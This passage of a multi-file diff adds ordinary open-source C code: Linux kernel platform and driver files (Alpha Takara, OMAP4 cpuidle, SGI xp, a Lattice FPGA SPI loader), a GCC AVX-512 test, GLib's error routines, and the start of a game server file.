PCI_SLOT(dev->bus->self->devfn); + + if (dev->bus->number != 0 + && busslot > 16 + && ((1<<(36-busslot)) & ctlreg)) { + if (pin == 1) + pin += (20 - busslot); + else { + printk(KERN_WARNING "takara_swizzle: can only " + "handle cards with INTA IRQ pin.\n"); + } + } else { + + printk(KERN_WARNING "takara_swizzle: cannot handle " + "card-bridge behind builtin bridge yet.\n"); + } + + *pinp = pin; + return slot; +} + +static void __init +takara_init_pci(void) +{ + if (alpha_using_srm) + alpha_mv.pci_map_irq = takara_map_irq_srm; + + cia_init_pci(); + + if (pc873xx_probe() == -1) { + printk(KERN_ERR "Probing for PC873xx Super IO chip failed.\n"); + } else { + printk(KERN_INFO "Found %s Super IO chip at 0x%x\n", + pc873xx_get_model(), pc873xx_get_base()); + pc873xx_enable_ide(); + } +} + + + +struct alpha_machine_vector takara_mv __initmv = { + .vector_name = "Takara", + DO_EV5_MMU, + DO_DEFAULT_RTC, + DO_CIA_IO, + .machine_check = cia_machine_check, + .max_isa_dma_address = ALPHA_MAX_ISA_DMA_ADDRESS, + .min_io_address = DEFAULT_IO_BASE, + .min_mem_address = CIA_DEFAULT_MEM_BASE, + + .nr_irqs = 128, + .device_interrupt = takara_device_interrupt, + + .init_arch = cia_init_arch, + .init_irq = takara_init_irq, + .init_rtc = common_init_rtc, + .init_pci = takara_init_pci, + .kill_arch = cia_kill_arch, + .pci_map_irq = takara_map_irq, + .pci_swizzle = takara_swizzle, +}; +ALIAS_MV(takara) diff --git a/pool/shard011/C/0142011_cpuidle44xx.c b/pool/shard011/C/0142011_cpuidle44xx.c new file mode 100644 index 0000000000000000000000000000000000000000..01fc710c81818e9d48e2b26ca8742b77b392ff1c --- /dev/null +++ b/pool/shard011/C/0142011_cpuidle44xx.c @@ -0,0 +1,235 @@ +/* + * OMAP4+ CPU idle Routines + * + * Copyright (C) 2011-2013 Texas Instruments, Inc. + * Santosh Shilimkar + * Rajendra Nayak + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include + +#include +#include + +#include "common.h" +#include "pm.h" +#include "prm.h" +#include "clockdomain.h" + +#define MAX_CPUS 2 + +/* Machine specific information */ +struct idle_statedata { + u32 cpu_state; + u32 mpu_logic_state; + u32 mpu_state; +}; + +static struct idle_statedata omap4_idle_data[] = { + { + .cpu_state = PWRDM_POWER_ON, + .mpu_state = PWRDM_POWER_ON, + .mpu_logic_state = PWRDM_POWER_RET, + }, + { + .cpu_state = PWRDM_POWER_OFF, + .mpu_state = PWRDM_POWER_RET, + .mpu_logic_state = PWRDM_POWER_RET, + }, + { + .cpu_state = PWRDM_POWER_OFF, + .mpu_state = PWRDM_POWER_RET, + .mpu_logic_state = PWRDM_POWER_OFF, + }, +}; + +static struct powerdomain *mpu_pd, *cpu_pd[MAX_CPUS]; +static struct clockdomain *cpu_clkdm[MAX_CPUS]; + +static atomic_t abort_barrier; +static bool cpu_done[MAX_CPUS]; +static struct idle_statedata *state_ptr = &omap4_idle_data[0]; + +/* Private functions */ + +/** + * omap_enter_idle_[simple/coupled] - OMAP4PLUS cpuidle entry functions + * @dev: cpuidle device + * @drv: cpuidle driver + * @index: the index of state to be entered + * + * Called from the CPUidle framework to program the device to the + * specified low power state selected by the governor. + * Returns the amount of time spent in the low power state. + */ +static int omap_enter_idle_simple(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + omap_do_wfi(); + return index; +} + +static int omap_enter_idle_coupled(struct cpuidle_device *dev, + struct cpuidle_driver *drv, + int index) +{ + struct idle_statedata *cx = state_ptr + index; + u32 mpuss_can_lose_context = 0; + + /* + * CPU0 has to wait and stay ON until CPU1 is OFF state. + * This is necessary to honour hardware recommondation + * of triggeing all the possible low power modes once CPU1 is + * out of coherency and in OFF mode. + */ + if (dev->cpu == 0 && cpumask_test_cpu(1, cpu_online_mask)) { + while (pwrdm_read_pwrst(cpu_pd[1]) != PWRDM_POWER_OFF) { + cpu_relax(); + + /* + * CPU1 could have already entered & exited idle + * without hitting off because of a wakeup + * or a failed attempt to hit off mode. Check for + * that here, otherwise we could spin forever + * waiting for CPU1 off. + */ + if (cpu_done[1]) + goto fail; + + } + } + + mpuss_can_lose_context = (cx->mpu_state == PWRDM_POWER_RET) && + (cx->mpu_logic_state == PWRDM_POWER_OFF); + + /* + * Call idle CPU PM enter notifier chain so that + * VFP and per CPU interrupt context is saved. + */ + cpu_pm_enter(); + + if (dev->cpu == 0) { + pwrdm_set_logic_retst(mpu_pd, cx->mpu_logic_state); + omap_set_pwrdm_state(mpu_pd, cx->mpu_state); + + /* + * Call idle CPU cluster PM enter notifier chain + * to save GIC and wakeupgen context. + */ + if (mpuss_can_lose_context) + cpu_cluster_pm_enter(); + } + + omap4_enter_lowpower(dev->cpu, cx->cpu_state); + cpu_done[dev->cpu] = true; + + /* Wakeup CPU1 only if it is not offlined */ + if (dev->cpu == 0 && cpumask_test_cpu(1, cpu_online_mask)) { + + if (IS_PM44XX_ERRATUM(PM_OMAP4_ROM_SMP_BOOT_ERRATUM_GICD) && + mpuss_can_lose_context) + gic_dist_disable(); + + clkdm_wakeup(cpu_clkdm[1]); + omap_set_pwrdm_state(cpu_pd[1], PWRDM_POWER_ON); + clkdm_allow_idle(cpu_clkdm[1]); + + if (IS_PM44XX_ERRATUM(PM_OMAP4_ROM_SMP_BOOT_ERRATUM_GICD) && + mpuss_can_lose_context) { + while (gic_dist_disabled()) { + udelay(1); + cpu_relax(); + } + gic_timer_retrigger(); + } + } + + /* + * Call idle CPU PM exit notifier chain to restore + * VFP and per CPU IRQ context. + */ + cpu_pm_exit(); + + /* + * Call idle CPU cluster PM exit notifier chain + * to restore GIC and wakeupgen context. + */ + if (dev->cpu == 0 && mpuss_can_lose_context) + cpu_cluster_pm_exit(); + +fail: + cpuidle_coupled_parallel_barrier(dev, &abort_barrier); + cpu_done[dev->cpu] = false; + + return index; +} + +static struct cpuidle_driver omap4_idle_driver = { + .name = "omap4_idle", + .owner = THIS_MODULE, + .states = { + { + /* C1 - CPU0 ON + CPU1 ON + MPU ON */ + .exit_latency = 2 + 2, + .target_residency = 5, + .flags = CPUIDLE_FLAG_TIME_VALID, + .enter = omap_enter_idle_simple, + .name = "C1", + .desc = "CPUx ON, MPUSS ON" + }, + { + /* C2 - CPU0 OFF + CPU1 OFF + MPU CSWR */ + .exit_latency = 328 + 440, + .target_residency = 960, + .flags = CPUIDLE_FLAG_TIME_VALID | CPUIDLE_FLAG_COUPLED | + CPUIDLE_FLAG_TIMER_STOP, + .enter = omap_enter_idle_coupled, + .name = "C2", + .desc = "CPUx OFF, MPUSS CSWR", + }, + { + /* C3 - CPU0 OFF + CPU1 OFF + MPU OSWR */ + .exit_latency = 460 + 518, + .target_residency = 1100, + .flags = CPUIDLE_FLAG_TIME_VALID | CPUIDLE_FLAG_COUPLED | + CPUIDLE_FLAG_TIMER_STOP, + .enter = omap_enter_idle_coupled, + .name = "C3", + .desc = "CPUx OFF, MPUSS OSWR", + }, + }, + .state_count = ARRAY_SIZE(omap4_idle_data), + .safe_state_index = 0, +}; + +/* Public functions */ + +/** + * omap4_idle_init - Init routine for OMAP4+ idle + * + * Registers the OMAP4+ specific cpuidle driver to the cpuidle + * framework with the valid set of states. + */ +int __init omap4_idle_init(void) +{ + mpu_pd = pwrdm_lookup("mpu_pwrdm"); + cpu_pd[0] = pwrdm_lookup("cpu0_pwrdm"); + cpu_pd[1] = pwrdm_lookup("cpu1_pwrdm"); + if ((!mpu_pd) || (!cpu_pd[0]) || (!cpu_pd[1])) + return -ENODEV; + + cpu_clkdm[0] = clkdm_lookup("mpu0_clkdm"); + cpu_clkdm[1] = clkdm_lookup("mpu1_clkdm"); + if (!cpu_clkdm[0] || !cpu_clkdm[1]) + return -ENODEV; + + return cpuidle_register(&omap4_idle_driver, cpu_online_mask); +} diff --git a/pool/shard011/C/0142012_xp_sn2.c b/pool/shard011/C/0142012_xp_sn2.c new file mode 100644 index 0000000000000000000000000000000000000000..65df7590fe228137f9f62ccb9edf52a6b0d10754 --- /dev/null +++ b/pool/shard011/C/0142012_xp_sn2.c @@ -0,0 +1,153 @@ +/* + * This file is subject to the terms and conditions of the GNU General Public + * License. See the file "COPYING" in the main directory of this archive + * for more details. + * + * Copyright (c) 2008 Silicon Graphics, Inc. All Rights Reserved. + */ + + +#include +#include +#include +#include +#include "xp.h" + +EXPORT_SYMBOL_GPL(xp_nofault_PIOR); + +u64 xp_nofault_PIOR_target; +EXPORT_SYMBOL_GPL(xp_nofault_PIOR_target); + +static enum xp_retval +xp_register_nofault_code_sn2(void) +{ + int ret; + u64 func_addr; + u64 err_func_addr; + + func_addr = *(u64 *)xp_nofault_PIOR; + err_func_addr = *(u64 *)xp_error_PIOR; + ret = sn_register_nofault_code(func_addr, err_func_addr, err_func_addr, + 1, 1); + if (ret != 0) { + dev_err(xp, "can't register nofault code, error=%d\n", ret); + return xpSalError; + } + if (is_shub1()) + xp_nofault_PIOR_target = SH1_IPI_ACCESS; + else if (is_shub2()) + xp_nofault_PIOR_target = SH2_IPI_ACCESS0; + + return xpSuccess; +} + +static void +xp_unregister_nofault_code_sn2(void) +{ + u64 func_addr = *(u64 *)xp_nofault_PIOR; + u64 err_func_addr = *(u64 *)xp_error_PIOR; + + + (void)sn_register_nofault_code(func_addr, err_func_addr, + err_func_addr, 1, 0); +} + +static unsigned long +xp_pa_sn2(void *addr) +{ + return __pa(addr); +} + +static unsigned long +xp_socket_pa_sn2(unsigned long gpa) +{ + return gpa; +} + +static enum xp_retval +xp_remote_memcpy_sn2(unsigned long dst_pa, const unsigned long src_pa, + size_t len) +{ + bte_result_t ret; + + ret = bte_copy(src_pa, dst_pa, len, (BTE_NOTIFY | BTE_WACQUIRE), NULL); + if (ret == BTE_SUCCESS) + return xpSuccess; + + if (is_shub2()) { + dev_err(xp, "bte_copy() on shub2 failed, error=0x%x dst_pa=" + "0x%016lx src_pa=0x%016lx len=%ld\\n", ret, dst_pa, + src_pa, len); + } else { + dev_err(xp, "bte_copy() failed, error=%d dst_pa=0x%016lx " + "src_pa=0x%016lx len=%ld\\n", ret, dst_pa, src_pa, len); + } + + return xpBteCopyError; +} + +static int +xp_cpu_to_nasid_sn2(int cpuid) +{ + return cpuid_to_nasid(cpuid); +} + +static enum xp_retval +xp_expand_memprotect_sn2(unsigned long phys_addr, unsigned long size) +{ + u64 nasid_array = 0; + int ret; + + ret = sn_change_memprotect(phys_addr, size, SN_MEMPROT_ACCESS_CLASS_1, + &nasid_array); + if (ret != 0) { + dev_err(xp, "sn_change_memprotect(,, " + "SN_MEMPROT_ACCESS_CLASS_1,) failed ret=%d\n", ret); + return xpSalError; + } + return xpSuccess; +} + +static enum xp_retval +xp_restrict_memprotect_sn2(unsigned long phys_addr, unsigned long size) +{ + u64 nasid_array = 0; + int ret; + + ret = sn_change_memprotect(phys_addr, size, SN_MEMPROT_ACCESS_CLASS_0, + &nasid_array); + if (ret != 0) { + dev_err(xp, "sn_change_memprotect(,, " + "SN_MEMPROT_ACCESS_CLASS_0,) failed ret=%d\n", ret); + return xpSalError; + } + return xpSuccess; +} + +enum xp_retval +xp_init_sn2(void) +{ + BUG_ON(!is_shub()); + + xp_max_npartitions = XP_MAX_NPARTITIONS_SN2; + xp_partition_id = sn_partition_id; + xp_region_size = sn_region_size; + + xp_pa = xp_pa_sn2; + xp_socket_pa = xp_socket_pa_sn2; + xp_remote_memcpy = xp_remote_memcpy_sn2; + xp_cpu_to_nasid = xp_cpu_to_nasid_sn2; + xp_expand_memprotect = xp_expand_memprotect_sn2; + xp_restrict_memprotect = xp_restrict_memprotect_sn2; + + return xp_register_nofault_code_sn2(); +} + +void +xp_exit_sn2(void) +{ + BUG_ON(!is_shub()); + + xp_unregister_nofault_code_sn2(); +} + diff --git a/pool/shard011/C/0142013_avx512f-vpermt2d-1.c b/pool/shard011/C/0142013_avx512f-vpermt2d-1.c new file mode 100644 index 0000000000000000000000000000000000000000..892b5710dad94d5d0d1ebccc884e3a67c2802b39 --- /dev/null +++ b/pool/shard011/C/0142013_avx512f-vpermt2d-1.c @@ -0,0 +1,18 @@ +/* { dg-do compile } */ +/* { dg-options "-mavx512f -O2" } */ +/* { dg-final { scan-assembler-times "vpermt2d\[ \\t\]+\[^\n\]*%zmm\[0-9\]\[^\{\]" 3 } } */ +/* { dg-final { scan-assembler-times "vpermt2d\[ \\t\]+\[^\n\]*%zmm\[0-9\]\{%k\[1-7\]\}\[^\{\]" 1 } } */ +/* { dg-final { scan-assembler-times "vpermt2d\[ \\t\]+\[^\n\]*%zmm\[0-9\]\{%k\[1-7\]\}\{z\}" 1 } } */ + +#include + +volatile __m512i x; +volatile __mmask16 m; + +void extern +avx512f_test (void) +{ + x = _mm512_permutex2var_epi32 (x, x, x); + x = _mm512_mask_permutex2var_epi32 (x, m, x, x); + x = _mm512_maskz_permutex2var_epi32 (m, x, x, x); +} diff --git a/pool/shard011/C/0142014_test.c b/pool/shard011/C/0142014_test.c new file mode 100644 index 0000000000000000000000000000000000000000..d26827119ed12f2e8bddb263055ccbbf8d3ee45a --- /dev/null +++ b/pool/shard011/C/0142014_test.c @@ -0,0 +1,49 @@ +#include "sankaque.h" +#include "pq.h" +#include "test.h" + + +int random_priority() { + int r = rand() % 5; + + return r; +} + +char *random_message(int len) { + char *msg = malloc(sizeof(char) * len); + + static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz(){}<>., "; + + int i = 0; + + for (i = 0; i < (len - 1); i++) { + msg[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; + } + + msg[len-1] = '\0'; + + return msg; +} + +Job *random_job(BHeap *bheap) { + Job *job = malloc(sizeof(struct Job)); + job->priority = random_priority(); + job->message = random_message(10); + insert(bheap, job); + + return job; +} + +void print_job(Job *job) { + printf("pri: %d\t", job->priority); + printf("message: %s\t", job->message); + printf("timestamp: %d\n", job->timestamp); +} + +void print_string(char *str) { + int i; + + for (i = 0; i < strlen(str); i++) { + printf("str[%d]: %c %d\n", i, str[i], str[i]); + } +} diff --git a/pool/shard011/C/0142015_gerror.c b/pool/shard011/C/0142015_gerror.c new file mode 100644 index 0000000000000000000000000000000000000000..9756a3e359c1a53e62dee69decd1b2510681c750 --- /dev/null +++ b/pool/shard011/C/0142015_gerror.c @@ -0,0 +1,342 @@ +/* GLIB - Library of useful routines for C programming + * Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + */ + +/* + * Modified by the GLib Team and others 1997-2000. See the AUTHORS + * file for a list of people on the GLib Team. See the ChangeLog + * files for a list of changes. These files are distributed with + * GLib at ftp://ftp.gtk.org/pub/gtk/. + */ + +#include "config.h" + +#include "glib.h" +#include "galias.h" + + +static GError* +g_error_new_valist (GQuark domain, + gint code, + const gchar *format, + va_list args) +{ + GError *error; + + error = g_slice_new (GError); + + error->domain = domain; + error->code = code; + error->message = g_strdup_vprintf (format, args); + + return error; +} + +/** + * g_error_new: + * @domain: error domain + * @code: error code + * @format: printf()-style format for error message + * @Varargs: parameters for message format + * + * Creates a new #GError with the given @domain and @code, + * and a message formatted with @format. + * + * Return value: a new #GError + **/ +GError* +g_error_new (GQuark domain, + gint code, + const gchar *format, + ...) +{ + GError* error; + va_list args; + + g_return_val_if_fail (format != NULL, NULL); + g_return_val_if_fail (domain != 0, NULL); + + va_start (args, format); + error = g_error_new_valist (domain, code, format, args); + va_end (args); + + return error; +} + +/** + * g_error_new_literal: + * @domain: error domain + * @code: error code + * @message: error message + * + * Creates a new #GError; unlike g_error_new(), @message is not + * a printf()-style format string. Use this + * function if @message contains text you don't have control over, + * that could include printf() escape sequences. + * + * Return value: a new #GError + **/ +GError* +g_error_new_literal (GQuark domain, + gint code, + const gchar *message) +{ + GError* err; + + g_return_val_if_fail (message != NULL, NULL); + g_return_val_if_fail (domain != 0, NULL); + + err = g_slice_new (GError); + + err->domain = domain; + err->code = code; + err->message = g_strdup (message); + + return err; +} + +/** + * g_error_free: + * @error: a #GError + * + * Frees a #GError and associated resources. + * + **/ +void +g_error_free (GError *error) +{ + g_return_if_fail (error != NULL); + + g_free (error->message); + + g_slice_free (GError, error); +} + +/** + * g_error_copy: + * @error: a #GError + * + * Makes a copy of @error. + * + * Return value: a new #GError + **/ +GError* +g_error_copy (const GError *error) +{ + GError *copy; + + g_return_val_if_fail (error != NULL, NULL); + + copy = g_slice_new (GError); + + *copy = *error; + + copy->message = g_strdup (error->message); + + return copy; +} + +/** + * g_error_matches: + * @error: a #GError + * @domain: an error domain + * @code: an error code + * + * Returns %TRUE if @error matches @domain and @code, %FALSE + * otherwise. + * + * Return value: whether @error has @domain and @code + **/ +gboolean +g_error_matches (const GError *error, + GQuark domain, + gint code) +{ + return error && + error->domain == domain && + error->code == code; +} + +#define ERROR_OVERWRITTEN_WARNING "GError set over the top of a previous GError or uninitialized memory.\n" \ + "This indicates a bug in someone's code. You must ensure an error is NULL before it's set.\n" \ + "The overwriting error message was: %s" + +/** + * g_set_error: + * @err: a return location for a #GError, or %NULL + * @domain: error domain + * @code: error code + * @format: printf()-style format + * @Varargs: args for @format + * + * Does nothing if @err is %NULL; if @err is non-%NULL, then *@err must + * be %NULL. A new #GError is created and assigned to *@err. + **/ +void +g_set_error (GError **err, + GQuark domain, + gint code, + const gchar *format, + ...) +{ + GError *new; + + va_list args; + + if (err == NULL) + return; + + va_start (args, format); + new = g_error_new_valist (domain, code, format, args); + va_end (args); + + if (*err == NULL) + *err = new; + else + g_warning (ERROR_OVERWRITTEN_WARNING, new->message); +} + +/** + * g_propagate_error: + * @dest: error return location + * @src: error to move into the return location + * + * If @dest is %NULL, free @src; otherwise, moves @src into *@dest. + * The error variable @dest points to must be %NULL. + **/ +void +g_propagate_error (GError **dest, + GError *src) +{ + g_return_if_fail (src != NULL); + + if (dest == NULL) + { + if (src) + g_error_free (src); + return; + } + else + { + if (*dest != NULL) + g_warning (ERROR_OVERWRITTEN_WARNING, src->message); + else + *dest = src; + } +} + +/** + * g_clear_error: + * @err: a #GError return location + * + * If @err is %NULL, does nothing. If @err is non-%NULL, + * calls g_error_free() on *@err and sets *@err to %NULL. + **/ +void +g_clear_error (GError **err) +{ + if (err && *err) + { + g_error_free (*err); + *err = NULL; + } +} + +static void +g_error_add_prefix (gchar **string, + const gchar *format, + va_list ap) +{ + gchar *oldstring; + gchar *prefix; + + prefix = g_strdup_vprintf (format, ap); + oldstring = *string; + *string = g_strconcat (prefix, oldstring, NULL); + g_free (oldstring); + g_free (prefix); +} + +/** + * g_prefix_error: + * @err: a return location for a #GError, or %NULL + * @format: printf()-style format string + * @...: arguments to @format + * + * Formats a string according to @format and + * prefix it to an existing error message. If + * @err is %NULL (ie: no error variable) then do + * nothing. + * + * If *@err is %NULL (ie: an error variable is + * present but there is no error condition) then + * also do nothing. Whether or not it makes + * sense to take advantage of this feature is up + * to you. + * + * Since: 2.16 + **/ +void +g_prefix_error (GError **err, + const gchar *format, + ...) +{ + if (err && *err) + { + va_list ap; + + va_start (ap, format); + g_error_add_prefix (&(*err)->message, format, ap); + va_end (ap); + } +} + +/** + * g_propagate_prefixed_error: + * @dest: error return location + * @src: error to move into the return location + * @format: printf()-style format string + * @...: arguments to @format + * + * If @dest is %NULL, free @src; otherwise, + * moves @src into *@dest. *@dest must be %NULL. + * After the move, add a prefix as with + * g_prefix_error(). + * + * Since: 2.16 + **/ +void +g_propagate_prefixed_error (GError **dest, + GError *src, + const gchar *format, + ...) +{ + g_propagate_error (dest, src); + + if (dest && *dest) + { + va_list ap; + + va_start (ap, format); + g_error_add_prefix (&(*dest)->message, format, ap); + va_end (ap); + } +} + +#define __G_ERROR_C__ +#include "galiasdef.c" diff --git a/pool/shard011/C/0142016_lattice-ecp3-config.c b/pool/shard011/C/0142016_lattice-ecp3-config.c new file mode 100644 index 0000000000000000000000000000000000000000..8b6c26346606f8edf7d2935b7ea74a7e84241544 --- /dev/null +++ b/pool/shard011/C/0142016_lattice-ecp3-config.c @@ -0,0 +1,277 @@ +/* + * Copyright (C) 2012 Stefan Roese + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define FIRMWARE_NAME "lattice-ecp3.bit" + +/* + * The JTAG ID's of the supported FPGA's. The ID is 32bit wide + * reversed as noted in the manual. + */ +#define ID_ECP3_17 0xc2088080 +#define ID_ECP3_35 0xc2048080 + +/* FPGA commands */ +#define FPGA_CMD_READ_ID 0x07 /* plus 24 bits */ +#define FPGA_CMD_READ_STATUS 0x09 /* plus 24 bits */ +#define FPGA_CMD_CLEAR 0x70 +#define FPGA_CMD_REFRESH 0x71 +#define FPGA_CMD_WRITE_EN 0x4a /* plus 2 bits */ +#define FPGA_CMD_WRITE_DIS 0x4f /* plus 8 bits */ +#define FPGA_CMD_WRITE_INC 0x41 /* plus 0 bits */ + +/* + * The status register is 32bit revered, DONE is bit 17 from the TN1222.pdf + * (LatticeECP3 Slave SPI Port User's Guide) + */ +#define FPGA_STATUS_DONE 0x00004000 +#define FPGA_STATUS_CLEARED 0x00010000 + +#define FPGA_CLEAR_TIMEOUT 5000 /* max. 5000ms for FPGA clear */ +#define FPGA_CLEAR_MSLEEP 10 +#define FPGA_CLEAR_LOOP_COUNT (FPGA_CLEAR_TIMEOUT / FPGA_CLEAR_MSLEEP) + +struct fpga_data +{ + struct completion fw_loaded; +}; + +struct ecp3_dev +{ + u32 jedec_id; + char *name; +}; + +static const struct ecp3_dev ecp3_dev[] = +{ + { + .jedec_id = ID_ECP3_17, + .name = "Lattice ECP3-17", + }, + { + .jedec_id = ID_ECP3_35, + .name = "Lattice ECP3-35", + }, +}; + +static void firmware_load(const struct firmware *fw, void *context) +{ + struct spi_device *spi = (struct spi_device *)context; + struct fpga_data *data = spi_get_drvdata(spi); + u8 *buffer; + int ret; + u8 txbuf[8]; + u8 rxbuf[8]; + int rx_len = 8; + int i; + u32 jedec_id; + u32 status; + + if (fw == NULL) + { + dev_err(&spi->dev, "Cannot load firmware, aborting\n"); + return; + } + + if (fw->size == 0) + { + dev_err(&spi->dev, "Error: Firmware size is 0!\n"); + return; + } + + /* Fill dummy data (24 stuffing bits for commands) */ + txbuf[1] = 0x00; + txbuf[2] = 0x00; + txbuf[3] = 0x00; + + /* Trying to speak with the FPGA via SPI... */ + txbuf[0] = FPGA_CMD_READ_ID; + ret = spi_write_then_read(spi, txbuf, 8, rxbuf, rx_len); + jedec_id = get_unaligned_be32(&rxbuf[4]); + dev_dbg(&spi->dev, "FPGA JTAG ID=%08x\n", jedec_id); + + for (i = 0; i < ARRAY_SIZE(ecp3_dev); i++) + { + if (jedec_id == ecp3_dev[i].jedec_id) + { + break; + } + } + + if (i == ARRAY_SIZE(ecp3_dev)) + { + dev_err(&spi->dev, + "Error: No supported FPGA detected (JEDEC_ID=%08x)!\n", + jedec_id); + return; + } + + dev_info(&spi->dev, "FPGA %s detected\n", ecp3_dev[i].name); + + txbuf[0] = FPGA_CMD_READ_STATUS; + ret = spi_write_then_read(spi, txbuf, 8, rxbuf, rx_len); + status = get_unaligned_be32(&rxbuf[4]); + dev_dbg(&spi->dev, "FPGA Status=%08x\n", status); + + buffer = kzalloc(fw->size + 8, GFP_KERNEL); + + if (!buffer) + { + dev_err(&spi->dev, "Error: Can't allocate memory!\n"); + return; + } + + /* + * Insert WRITE_INC command into stream (one SPI frame) + */ + buffer[0] = FPGA_CMD_WRITE_INC; + buffer[1] = 0xff; + buffer[2] = 0xff; + buffer[3] = 0xff; + memcpy(buffer + 4, fw->data, fw->size); + + txbuf[0] = FPGA_CMD_REFRESH; + ret = spi_write(spi, txbuf, 4); + + txbuf[0] = FPGA_CMD_WRITE_EN; + ret = spi_write(spi, txbuf, 4); + + txbuf[0] = FPGA_CMD_CLEAR; + ret = spi_write(spi, txbuf, 4); + + /* + * Wait for FPGA memory to become cleared + */ + for (i = 0; i < FPGA_CLEAR_LOOP_COUNT; i++) + { + txbuf[0] = FPGA_CMD_READ_STATUS; + ret = spi_write_then_read(spi, txbuf, 8, rxbuf, rx_len); + status = get_unaligned_be32(&rxbuf[4]); + + if (status == FPGA_STATUS_CLEARED) + { + break; + } + + msleep(FPGA_CLEAR_MSLEEP); + } + + if (i == FPGA_CLEAR_LOOP_COUNT) + { + dev_err(&spi->dev, + "Error: Timeout waiting for FPGA to clear (status=%08x)!\n", + status); + kfree(buffer); + return; + } + + dev_info(&spi->dev, "Configuring the FPGA...\n"); + ret = spi_write(spi, buffer, fw->size + 8); + + txbuf[0] = FPGA_CMD_WRITE_DIS; + ret = spi_write(spi, txbuf, 4); + + txbuf[0] = FPGA_CMD_READ_STATUS; + ret = spi_write_then_read(spi, txbuf, 8, rxbuf, rx_len); + status = get_unaligned_be32(&rxbuf[4]); + dev_dbg(&spi->dev, "FPGA Status=%08x\n", status); + + /* Check result */ + if (status & FPGA_STATUS_DONE) + { + dev_info(&spi->dev, "FPGA successfully configured!\n"); + } + else + { + dev_info(&spi->dev, "FPGA not configured (DONE not set)\n"); + } + + /* + * Don't forget to release the firmware again + */ + release_firmware(fw); + + kfree(buffer); + + complete(&data->fw_loaded); +} + +static int lattice_ecp3_probe(struct spi_device *spi) +{ + struct fpga_data *data; + int err; + + data = devm_kzalloc(&spi->dev, sizeof(*data), GFP_KERNEL); + + if (!data) + { + dev_err(&spi->dev, "Memory allocation for fpga_data failed\n"); + return -ENOMEM; + } + + spi_set_drvdata(spi, data); + + init_completion(&data->fw_loaded); + err = request_firmware_nowait(THIS_MODULE, FW_ACTION_HOTPLUG, + FIRMWARE_NAME, &spi->dev, + GFP_KERNEL, spi, firmware_load); + + if (err) + { + dev_err(&spi->dev, "Firmware loading failed with %d!\n", err); + return err; + } + + dev_info(&spi->dev, "FPGA bitstream configuration driver registered\n"); + + return 0; +} + +static int lattice_ecp3_remove(struct spi_device *spi) +{ + struct fpga_data *data = spi_get_drvdata(spi); + + wait_for_completion(&data->fw_loaded); + + return 0; +} + +static const struct spi_device_id lattice_ecp3_id[] = +{ + { "ecp3-17", 0 }, + { "ecp3-35", 0 }, + { } +}; +MODULE_DEVICE_TABLE(spi, lattice_ecp3_id); + +static struct spi_driver lattice_ecp3_driver = +{ + .driver = { + .name = "lattice-ecp3", + }, + .probe = lattice_ecp3_probe, + .remove = lattice_ecp3_remove, + .id_table = lattice_ecp3_id, +}; + +module_spi_driver(lattice_ecp3_driver); + +MODULE_AUTHOR("Stefan Roese "); +MODULE_DESCRIPTION("Lattice ECP3 FPGA configuration via SPI"); +MODULE_LICENSE("GPL"); +MODULE_FIRMWARE(FIRMWARE_NAME); diff --git a/pool/shard011/C/0142017_path.c b/pool/shard011/C/0142017_path.c new file mode 100644 index 0000000000000000000000000000000000000000..cf43e51ab8f7ce3e1f4c086269c98e00cda6b929 --- /dev/null +++ b/pool/shard011/C/0142017_path.c @@ -0,0 +1,129 @@ +/* + * Empire - A multi-player, client/server Internet based war game. + * Copyright (C) 1986-2017, Dave Pare, Jeff Bailey, Thomas Ruschak, + * Ken Stevens, Steve McClure, Markus Armbruster + * + * Empire is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + * + * --- + * + * See files README, COPYING and CREDITS in the root of the source + * tree for related information and legal notices. It is expected + * that future projects/authors will amend these files as needed. + * + * --- + * + * path.c: Show empire distribution paths + * + * Known contributors to this file: + * David Muir Sharnoff, 1986 + * (unknown rewrite), 1989 + * Markus Armbruster, 2005-2011 + */ + +#include + +#include "commands.h" +#include "map.h" +#include "optlist.h" +#include "path.h" + +int +path(void) +{ + + struct nstr_sect ns; + struct natstr *natp; + struct range absrange; + struct range relrange; + struct sctstr sect; + coord cx, cy; + int i; + int y; + char *pp, *p; + size_t len; + /* Note this is not re-entrant anyway, so we keep the buffers + around */ + static char *mapbuf = NULL; + static char **map = NULL; + char buf[1024]; + + if (!(p = getstarg(player->argp[1], "from sector : ", buf)) || + !sarg_xy(p, &cx, &cy) || !getsect(cx, cy, §)) + return RET_SYN; + if ((sect.sct_own != player->cnum) && !player->god) { + pr("Not yours\n"); + return RET_FAIL; + } + if (path_find(sect.sct_x, sect.sct_y, sect.sct_dist_x, sect.sct_dist_y, + player->cnum, MOB_MOVE) < 0) { + pr("No path possible from %s to distribution sector %s\n", + xyas(sect.sct_x, sect.sct_y, player->cnum), + xyas(sect.sct_dist_x, sect.sct_dist_y, player->cnum)); + return RET_FAIL; + } + len = path_find_route(buf, sizeof(buf), sect.sct_x, sect.sct_y, + sect.sct_dist_x, sect.sct_dist_y); + if (len >= sizeof(buf)) { + pr("Can't handle path from %s to distribution sector %s, it's too long, sorry.\n", + xyas(sect.sct_x, sect.sct_y, player->cnum), + 